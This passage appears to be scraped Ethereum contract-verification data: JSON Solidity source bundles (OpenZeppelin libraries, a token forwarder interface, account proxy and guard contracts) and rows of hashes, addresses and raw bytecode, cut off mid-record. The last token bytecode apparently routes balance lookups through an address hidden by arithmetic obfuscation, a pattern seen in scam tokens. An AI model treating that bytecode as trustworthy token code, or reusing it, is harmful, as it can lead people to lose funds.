{ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 20,290,707 | 0585e33bc55a63d8b3f57bc33144ecafe3fed709aaf9526e06a2f6929dbe5d29 | 04330b7e01c9e39f3464ca6e0c380eb9ac4594507501687bbafd227e19e4c5fc | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | f77397f9fdb2d8108505171dd6066a061f7f77bc | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,708 | dd6b649be0d437abc6a57f98d4160678bdfe47a5cabebdccfba05ade7fe41b1a | ee2568154e27a5cbb22e86a41fd99f6d15bbd7f194d35f4b22a9daf2e21650c3 | 751d833e461a1a4d7c3431d512ac4245df7f0a03 | f7b75183a2829843db06266c114297dfbfaee2b6 | 73c60fc502c56cbcf164d2a84956528b1614dcf6 | 3d602d80600a3d3981f3363d3d373d3d3d363d73d80a503a2c2a5dddd8be53fb75bd48f0bb465ed45af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73d80a503a2c2a5dddd8be53fb75bd48f0bb465ed45af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/AccountImplementation.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\n// Uncomment this line to use console.log\n// import \"hardhat/console.sol\";\nimport \"./AccountGuard.sol\";\n\ncontract AccountImplementation {\n AccountGuard public immutable guard;\n\n modifier authAndWhitelisted(address target, bool asDelegateCall) {\n (bool canCall, bool isWhitelisted) = guard.canCallAndWhitelisted(\n address(this),\n msg.sender,\n target,\n asDelegateCall\n );\n require(\n canCall,\n \"account-guard/no-permit\"\n );\n require(\n isWhitelisted,\n \"account-guard/illegal-target\"\n );\n _;\n }\n\n constructor(AccountGuard _guard) {\n require(\n address(_guard) != address(0x0),\n \"account-guard/wrong-guard-address\"\n );\n guard = _guard;\n }\n\n function send(address _target, bytes calldata _data)\n external\n payable\n authAndWhitelisted(_target, false)\n {\n (bool status, ) = (_target).call{value: msg.value}(_data);\n require(status, \"account-guard/call-failed\");\n }\n\n function execute(address _target, bytes memory /* code do not compile with calldata */ _data)\n external\n payable\n authAndWhitelisted(_target, true)\n\n returns (bytes32)\n {\n // call contract in current context\n assembly {\n let succeeded := delegatecall(\n sub(gas(), 5000),\n _target,\n add(_data, 0x20),\n mload(_data),\n 0,\n 32\n )\n returndatacopy(0, 0, returndatasize())\n switch succeeded\n case 0 {\n // throw if delegatecall failed\n revert(0, returndatasize())\n }\n default {\n return(0, 0x20)\n }\n }\n }\n \n receive() external payable {\n emit FundsRecived(msg.sender, msg.value);\n }\n\n function owner() external view returns (address) {\n return guard.owners(address(this));\n }\n\n event FundsRecived(address sender, uint256 amount);\n}\n"
},
"contracts/AccountGuard.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\n// Uncomment this line to use console.log\n// import \"hardhat/console.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract AccountGuard is Ownable {\n address factory;\n uint8 constant WHITELISTED_EXECUTE_MASK = 1;\n uint8 constant WHITELISTED_SEND_MASK = 2;\n mapping(address => mapping(address => bool)) private allowed;\n mapping(address => uint8) private whitelisted;\n mapping(address => address) public owners;\n\n function isWhitelisted(address target) public view returns (bool) {\n return (whitelisted[target] & WHITELISTED_EXECUTE_MASK) > 0;\n }\n\n function setWhitelist(address target, bool status) external onlyOwner {\n whitelisted[target] = status\n ? whitelisted[target] | WHITELISTED_EXECUTE_MASK\n : whitelisted[target] & ~WHITELISTED_EXECUTE_MASK;\n }\n\n function isWhitelistedSend(address target) public view returns (bool) {\n return (whitelisted[target] & WHITELISTED_SEND_MASK) > 0;\n }\n\n function setWhitelistSend(address target, bool status) external onlyOwner {\n whitelisted[target] = status\n ? whitelisted[target] | WHITELISTED_SEND_MASK\n : whitelisted[target] & ~WHITELISTED_SEND_MASK;\n }\n\n function canCallAndWhitelisted(\n address proxy,\n address operator,\n address callTarget,\n bool asDelegateCall\n ) external view returns (bool, bool) {\n return (\n allowed[operator][proxy],\n asDelegateCall\n ? isWhitelisted(callTarget)\n : isWhitelistedSend(callTarget)\n );\n }\n\n function canCall(address target, address operator)\n external\n view\n returns (bool)\n {\n return owners[target] == operator || allowed[operator][target];\n }\n\n function initializeFactory() external {\n require(factory == address(0), \"account-guard/factory-set\");\n factory = msg.sender;\n }\n\n function permit(\n address caller,\n address target,\n bool allowance\n ) external {\n require(\n allowed[msg.sender][target] || msg.sender == factory,\n \"account-guard/no-permit\"\n );\n if (msg.sender == factory) {\n owners[target] = caller;\n allowed[target][target] = true;\n } else {\n require(owners[target] != caller, \"account-guard/cant-deny-owner\");\n }\n allowed[caller][target] = allowance;\n\n if (allowance) {\n emit PermissionGranted(caller, target);\n } else {\n emit PermissionRevoked(caller, target);\n }\n }\n\n function changeOwner(address newOwner, address target) external {\n require(newOwner != address(0), \"account-guard/zero-address\");\n require(owners[target] == msg.sender, \"account-guard/only-proxy-owner\");\n owners[target] = newOwner;\n allowed[msg.sender][target] = false;\n allowed[newOwner][target] = true;\n emit ProxyOwnershipTransferred(newOwner, msg.sender, target);\n }\n\n event ProxyOwnershipTransferred(\n address indexed newOwner,\n address indexed oldAddress,\n address indexed proxy\n );\n event PermissionGranted(address indexed caller, address indexed proxy);\n event PermissionRevoked(address indexed caller, address indexed proxy);\n}\n"
},
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 20,290,708 | dd6b649be0d437abc6a57f98d4160678bdfe47a5cabebdccfba05ade7fe41b1a | a09e795b225937627992e4e5b33abed5123918ed41457886cc549d3e9fb61e33 | 64fe93ba9d2fcc94f6cb858e9ac5600f800a48b3 | 64fe93ba9d2fcc94f6cb858e9ac5600f800a48b3 | 4f9c097bfcc84ae37c4ea71d553d8b49a1359f58 | 6b033b2e3c9fd0803ce800000060015560c06040526003608090815262454c4560e81b60a052600290620000349082620002b9565b5060408051808201909152600380825262454c4560e81b6020830152906200005d9082620002b9565b50600780546001600160a01b03191660321790553480156200007d575f80fd5b5060405162000db938038062000db9833981016040819052620000a09162000381565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f80600a620000f08185620003ad565b620000fc9190620003c3565b620001089190620003ad565b90506200011f6200011982620001be565b620001d0565b600680546001600160a01b0319166001600160a01b039290921691909117905560015460055f6200014d3390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620001ae91815260200190565b60405180910390a3505062000403565b5f620001ca82620001d8565b92915050565b5f81620001ca565b6007545f9060329082908490620001fa9084906001600160a01b0316620003d9565b620002069190620003d9565b620002129190620003d9565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200024257607f821691505b6020821081036200026157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002b4575f81815260208120601f850160051c810160208610156200028f5750805b601f850160051c820191505b81811015620002b0578281556001016200029b565b5050505b505050565b81516001600160401b03811115620002d557620002d562000219565b620002ed81620002e684546200022d565b8462000267565b602080601f83116001811462000323575f84156200030b5750858301515b5f19600386901b1c1916600185901b178555620002b0565b5f85815260208120601f198616915b82811015620003535788860151825594840194600190910190840162000332565b50858210156200037157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000392575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b80820180821115620001ca57620001ca62000399565b81810381811115620001ca57620001ca62000399565b6001600160a01b03818116838216019080821115620003fc57620003fc62000399565b5092915050565b6109a880620004115f395ff3fe608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461011f578063715018a6146101475780638da5cb5b1461015157806395d89b411461016b578063a9059cbb14610173578063dd62ed3e14610186575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101be565b6040516100bf91906107d8565b60405180910390f35b6100db6100d636600461083e565b61024e565b60405190151581526020016100bf565b6001545b6040519081526020016100bf565b6100db61010b366004610866565b610267565b604051601281526020016100bf565b6100ef61012d36600461089f565b6001600160a01b03165f9081526005602052604090205490565b61014f61030b565b005b5f546040516001600160a01b0390911681526020016100bf565b6100b26103ac565b6100db61018136600461083e565b6103bb565b6100ef6101943660046108b8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6060600280546101cd906108e9565b80601f01602080910402602001604051908101604052809291908181526020018280546101f9906108e9565b80156102445780601f1061021b57610100808354040283529160200191610244565b820191905f5260205f20905b81548152906001019060200180831161022757829003601f168201915b5050505050905090565b5f3361025b8185856103c8565b60019150505b92915050565b6001600160a01b0383165f9081526004602090815260408083203380855292528220545f1981146102f457838110156102e75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102f486838684036103c8565b6102ff8686866104eb565b50600195945050505050565b5f546001600160a01b031633146103645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546101cd906108e9565b5f3361025b8185856104eb565b6001600160a01b03831661042a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102de565b6001600160a01b03821661048b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102de565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061050b57506001600160a01b03821615155b6105575760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102de565b6006546001600160a01b038481165f90815260056020526040812054909261058392169081908761066e565b9050818110156105d55760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102de565b6105df818361069d565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461060d90836106f9565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106609086815260200190565b60405180910390a350505050565b5f608e83111561068a5761068384848461075e565b9050610695565b61068385848461075e565b949350505050565b5f828211156106ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102de565b5f6106958385610935565b5f806107058385610948565b9050838110156107575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a